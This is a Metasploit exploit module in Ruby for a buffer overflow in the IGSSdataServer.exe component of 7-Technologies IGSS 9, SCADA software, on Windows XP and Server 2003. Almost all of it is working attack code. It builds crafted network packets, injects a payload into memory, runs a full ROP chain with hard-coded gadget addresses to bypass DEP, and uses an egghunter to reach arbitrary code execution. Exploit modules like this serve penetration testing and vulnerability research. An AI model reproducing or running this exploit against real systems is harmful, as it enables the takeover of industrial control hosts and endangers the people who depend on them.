## # $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info={}) super(update_info(info, 'Name' => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command, a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report, which results arbitrary code execution under the context of the user. The attack is carried out in three stages. The first stage sends the final payload to IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command so the process can find a valid ID for the Rename command. The last stage then triggers the vulnerability with the Rename command, and uses an egghunter to search for the shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to the small buffer size, which cannot even contain our ROP chain and the final payload. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12886 $", 'Author' => [ 'Luigi Auriemma ', #Initial discovery, poc 'sinn3r', #Metasploit ], 'References' => [ ['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'], ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "seh", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll 'RopOffset' => 68, #Offset to the ROP chain 'Offset' => 500, #Offset to SE Handler (stack pivot) 'Max' => 8000, #Max buffer size } ], [ 'Windows Server 2003 SP2/R2 SP2', { 'Ret' => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll 'RopOffset' => 76, #Offset to the ROP chain 'Offset' => 500, #Offset to SE Handler (stack pivot) 'Max' => 8000, #Max buffer size } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 24 2011")) register_options( [ Opt::RPORT(12401, false), ] ) end #We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before #triggering the vulnerable code path we're trying to hit. Without this, we'll just hit #"FAILED renameDicRec. ID not found %s" (logText function). def add_template(id) buf = '' buf << "\x9b\x00" #Packet size buf << "\x01\x00\x34\x12" buf << "\x07" #Opcode buf << "\x00\x00\x00\x00\x00\x00\x00" buf << "\x01" #Flag buf << "\x00\x00\x00" buf << "\x04" #Command (add) buf << "\x00\x00\x00" buf << id buf << "\x00" buf << "\x00"*31 buf << "\x78" buf << "\x00"*63 buf << "\x78" buf << "\x00"*28 connect sock.put(buf) print_status("Sending ADD command to #{datastore['RHOST']}") res = sock.recv(1024) disconnect return res end #Since we don't have a lot of space on the stack when we trigger the overflow, we send a #separate packet that contains our final payload, and let egghunter look for it later in memory def inject_payload(my_payload) buf = '' buf << "\x01\x00\x34\x12" buf << "\x0D" #Opcode buf << "\x00\x00\x00\x00\x00\x00\x00" buf << "\x01" #Flag buf << "\x00\x00\x00" buf << "\x01" #Command (ListAll) buf << "\x00\x00\x00" buf << my_payload buf << Rex::Text.rand_text_alpha(1024-my_payload.length) buf << "\x00"*130 #Packet size buf_size = [buf.length + 2].pack('v') buf = buf_size + buf connect sock.put(buf) print_status("Injecting payload in memory to #{datastore['RHOST']}") disconnect end #It's definitely junk def junk return rand_text(4).unpack("L")[0].to_i end def sploit_rename(id) #Egghunter is used because we don't really have a lot of space on the stack #to fit the ROP chain and a larger payload eggoptions = { :checksum => true, :eggtag => 'W00T', :depmethod => 'virtualprotect', :depreg => 'esi' } hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions) #depreg (Put VirtualProtect in ESI) esi = "\x81\xf6\x16\x1b\x5f\x5e" #XOR ESI, 0x5E5F1B16 esi << "\x3e\x8b\x36" #MOV ESI, DWORD PTR DS:[ESI] #Put depreg alignment hunter = esi + hunter #Send final payload first, and let egghunter look for it inject_payload(p) #Max ROP chain size we can use is 406 bytes rop = [ :xchg_esp_ebp, #0x59ABA24B, #PUSH ESP # POP EBP # RETN [dbghelp.dll] junk, junk, junk, junk, 0x1B76A59E, #XCHG EAX,EBP # RETN [dao360.dll] 0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll] :add_eax_100, #0x1B09FA13, #ADD EAX,100 # RETN 0C [MSJET40.DLL] #VirtualProtect Argument ([0x540214]) :xchg_eax_ecx, junk, junk, junk, :pop_eax, 0x3BABFD6D, #0x3BABFD6D xor 0x3BFFFF79 0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll] 0x1b73f3bd, #MOV EAX,DWORD PTR DS:[EAX] # RETN [dao360.dll] :xchg_eax_ecx, 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] 0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll] #Retn: :xchg_eax_esi, #0x1B0505C1, #PUSH EAX # POP ESI # RETN 4 [MSJET40.DLL] 0x1B8260DD, #ADD EAX,20 # RETN [Module : msjtes40.dll] junk, 0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll] 0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll] 0x1B8260DD, #ADD EAX,20 # RETN [msjtes40.dll] :xchg_eax_ecx, :mov_eax_esi_pop_esi, #0x1B03AD44, #MOV EAX,ESI # POP ESI # RETN [MSJET40.DLL] 0x5E0B1902, #:depreg initial value to xor 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] 0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll] #Shellcode: 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] 0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll] #Size (100 bytes -- enough for egghunter) :xchg_eax_ecx, :pop_eax, :size_xor, 0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll] :xchg_eax_ecx, 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] 0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll] #newProtect (0x40): :xchg_eax_ecx, :pop_eax, 0x3BFFFF39, #0x3BFFFF39 xor 0x3BFFFF79 0x1B7802A3, #XOR EAX,3BFFFF79 # RETN [dao360.dll] :xchg_eax_ecx, 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] 0x1B74C50A, #ADD EAX,4 # RETN [dao360.dll] #oldProtect 0x1B731395, #POP ECX # RETN [dao360.dll] 0x1B82B410, #.data section (WR) in msjtes40.dll 0x1B829E75, #MOV DWORD PTR DS:[EAX],ECX # RETN [msjtes40.dll] #Align the rewind part 0x1B829E86, # ADD EAX,0C # RETN [msjtes40.dll] #Rewind :rewind, #Execute 0x1B72A833, #XCHG EAX,ESP # RETN [dao360.dll] ] #OS specific gadgets rop.map! do |gadget| if gadget == :xchg_esp_ebp (target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223 elsif gadget == :add_eax_100 (target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3 elsif gadget == :xchg_eax_esi (target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71 elsif gadget == :xchg_eax_ecx (target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D elsif gadget == :mov_eax_esi_pop_esi (target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735 elsif gadget == :pop_eax (target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169 elsif gadget == :size_xor (target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D elsif gadget == :rewind (target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741 else gadget end end rop = rop.pack('V*') sploit = '' sploit << Rex::Text.rand_text_alpha(target['RopOffset']) sploit << rop sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length) sploit << [target.ret].pack('V') #Pivot sploit << make_nops(12) #Padding sploit << hunter sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length) #Create the packet with our naughty payload pkt = "\x00\x04" #Funky size causes overflow pkt << "\x01\x00\x34\x12" pkt << "\x07" #Opcode pkt << "\x00\x00\x00\x00\x00\x00\x00" pkt << "\x02" #Flag pkt << "\x00\x00\x00" pkt << "\x02" #Command pkt << "\x00\x00\x00" pkt << id pkt << "\x00" pkt << sploit connect print_status("Sending malicious request to #{datastore['RHOST']}") sock.put(pkt) handler #egghunter takes a few seconds, wait a bit before disconnect select(nil, nil, nil, 3) disconnect end def exploit id = Rex::Text.rand_text_alpha(8) res = add_template(id) if res !~ /Report/i print_error("Failed to add template:#{res}") return end sploit_rename(id) end end

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